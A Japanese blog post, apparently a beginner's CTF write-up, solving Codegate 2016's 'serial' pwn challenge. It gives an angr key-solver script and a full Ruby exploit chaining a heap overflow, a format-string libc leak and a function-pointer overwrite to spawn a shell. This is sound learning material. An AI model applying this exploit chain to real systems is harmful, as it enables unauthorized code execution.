読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

Codegate CTF 2016 serial(pwn444)

下調べ

serial-444: ELF 64-bit LSB  executable
x86-64
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.32
BuildID[sha1]=178aaa6576923592e7fc8534fd8cb21d5f6c5cdb
stripped
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

6bit strippedで大変だぁ,CanaryもNxもある.PIEがなくて幸せ.

バイナリ解析結果

ノート管理アプリ系のバイナリ

  • keyを入力しないと先に進めない
    • keyチェック関数: 0x400cbb
  • calloc(10, 32)でHeap領域の確保

  • 各種入力箇所はfgets(buf, 32, stdin)を利用

  • 1~ 4の選択肢
    • 1 Add: データを入力して,その長さ分memcpy

    • 2 Remove: IDを入力して,そのmemsetで0にする

      • 関数ポインタ利用
    • 3 Dump: 全ノートの出力
      • 関数ポインタ利用
    • 4 Quit: 終了
  • 1でHeap Overflow発生
  • 関数ポインタの上書き可能(下のアドレス0x40096e)
gdb-peda$ x/6gx 0x603010 - 16    
0x603000:       0x0000000000000000      0x0000000000000151
0x603010:       0x0000000000000000      0x0000000000000000
0x603020:       0x0000000000000000      0x000000000040096e

方針

  • Heap Overflowを利用したfunc ptr overwriteでsystem("/bin/sh")を起動

まずexploitの前に,keyチェックを突破しなくてはならない.バイナリを読んだところ,かなりいろんな計算をしていてあまりよくわからなかった.そこでangrを用いてこれを突破する.angrの方はよくわからないので,gen_serial.pyAPIリファレンスとにらめっこしながら写経した.

次に,実際のエクスプロイトだが,こちらは至ってシンプルで,最初に示した方針通り.AddによるHeap Overflowで関数ポインタを上書きするのだが,system関数のアドレスがわからない.そこでまずは,関数ポインタを0x400790 <printf@plt>:で上書きしつつ,"%p"を大量に含ませる(入力が32なのであんま多くないが)文字列を入力,その後Dumpを実行して,Format String Bugを生じさせ,libc内っぽいアドレスを探した.そうすると3個目にそれっぽいアドレスを発見したので,手持ちのlibcでオフセットを求めてlibcのベースアドレスとlibcのsystem関数のアドレスを計算した.

RemoveでAddしたのを削除してから,再度Addで関数ポインタで上書きしつつ,文字列には"/bin/sh"を含ませる.そして再度Dumpを実行すると,func ptr overwriteされたsystem("/bin/sh;AAAAAAAAA(ry")が実行されシェル奪取.

Exploit

まずkeyチェック突破に使ったスクリプト.一応コメント文で参考文献よりコメントを書いているが合っている保証はない.

# coding: utf-8
import angr

start = 0x400cbb
goal  = 0x400e5c
key_len = 12
p = angr.Project("./serial-444")

# set entry point
init = p.factory.blank_state(addr = start)

# Creates a Bit-Vector Symbol
key = init.se.BVS(name="key", size = key_len * 8)

# Stores content into memory
init.memory.store(0x6020BA, key)

# Set sub_0x400cbb's arg1
init.regs.rdi = 0x6020BA

# Find the path to reach the specified address
pg = p.factory.path_group(init)
pg.explore(find = goal)

print "Key = %r" % pg.found[0].state.se.any_str(key).strip("\x00")

次におなじみのexploit.rb

# coding: ascii-8bit
require 'pwnlib.rb'

host = "localhost"
port = 8888


def add(t, data)
  t.recv_until("choice >> ")
  t.sendline("1")
  t.recv_until("insert >> ")
  t.sendline(data)
  t.recv_until("\n")
end

def remove(t, idx)
  t.recv_until("choice >> ") 
  t.sendline("2")
  # プロンプトがここだけ他と違くてなかなかrecvできなくて時間溶かした
  t.recv_until("choice>> ") 
  t.sendline("0")
  t.recv_until("\n")
end

def dump(t)
  t.recv_until("choice >> ")
  t.sendline("3")
  t.recv_until("\n")
end

PwnTube.open(host, port) do |t|

  printf_plt = 0x400790

  t.recv_until("input product key: ")
  t.sendline("615066814080")

  payload = "%3$p"
  payload = payload.ljust(24, "A") + p32(printf_plt)
  add(t, payload)

  dump(t)

  leak = t.recv_until("\n").split("A")[0].to_i(16)

  libc_base = leak - 0x10 - 0xeb700
  libc_system = libc_base + 0x46590
  puts "[+] libc base = 0x%x" % libc_base
  puts "[+] libc system = 0x%x" % libc_system

  remove(t, 0)

  payload = "/bin/sh;"
  payload = payload.ljust(24, "A") + p64(libc_system)
  add(t, payload)

  t.recv_until("\n")
  t.recv_until("\n")

  dump(t)

  t.shell

end

参考文献

感想

まさかangrを使うことになると思っていなかったので,面白かった.しかし,正直まだまだ謎な部分が多いのでもっとドキュメンテーションを読み込もうと思った.使えたら楽しいだろうなぁ.
Pwn部分は,オーバーフローした時に次のchoiceを勝ってに行ってしまうとかプロンプトの待受がうまくいかないとか,そういう本質ではない細かいところでめっちゃ時間を使ってしまったが,体感としてはeasyな感じだった.もっと短時間で解ければなお良かった. stkof(前回の記事)でもつかったが,printf(str)の状況を無理やり作る技強いなと思った.